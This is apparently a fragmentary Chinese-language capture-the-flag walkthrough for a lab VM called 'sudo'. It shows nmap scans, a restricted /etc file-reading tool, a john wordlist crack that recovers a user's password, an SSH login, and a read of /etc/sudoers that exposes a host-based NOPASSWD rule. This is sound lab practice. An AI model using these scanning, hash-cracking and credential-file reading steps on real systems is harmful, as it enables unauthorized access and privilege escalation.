┌──(root㉿kali)-[/miao/maze-sec/sudo] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 14:13 CST Nmap scan report for 192.168.2.1 Host is up (0.00060s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00097s latency). MAC Address: 08:00:27:3F:6C:00 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.53 Host is up (0.0047s latency). MAC Address: 08:00:27:EF:1D:95 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.11 seconds
靶机IP:192.168.2.53
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/miao/maze-sec/sudo] └─# nmap --min-rate 10000 -p- 192.168.2.53 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 14:13 CST Nmap scan report for 192.168.2.53 Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:EF:1D:95 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds
┌──(root㉿kali)-[/miao/maze-sec/sudo] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.53 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 14:14 CST Nmap scan report for 192.168.2.53 Host is up (0.00080s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Redirecting to File Manager |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:EF:1D:95 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds
3、UDP端口扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[/miao/maze-sec/sudo] └─# nmap -sU --top-ports 100 192.168.2.53 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 14:14 CST Nmap scan report for 192.168.2.53 Host is up (0.00078s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:EF:1D:95 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 106.97 seconds
www-data@Sudo:/tmp$ /usr/bin/read_file -h Usage: /usr/bin/read_file -f <filepath> Options: -h Show this help message -f <file> Specify the file to view (must be under /etc)
Security restrictions: - File path must start with /etc/ - Symbolic links and path traversal are blocked - Only regular files can be read
┌──(root㉿kali)-[/miao/maze-sec/sudo] └─# john --format=crypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status alexis15 (eecho) 1g 0:00:00:33 DONE (2025-07-11 15:40) 0.02955g/s 1478p/s 1478c/s 1478C/s bobocel..Undertaker Use the "--show" option to display all of the cracked passwords reliably Session completed.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jul 11 03:41:05 2025 from 192.168.2.4 eecho@Sudo:~$ id uid=1000(eecho) gid=1000(eecho) groups=1000(eecho)
eecho@Sudo:~$ /usr/bin/read_file -f /etc/sudoers # # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL eecho Dashazi = NOPASSWD:ALL # See sudoers(5) for more information on "@include" directives: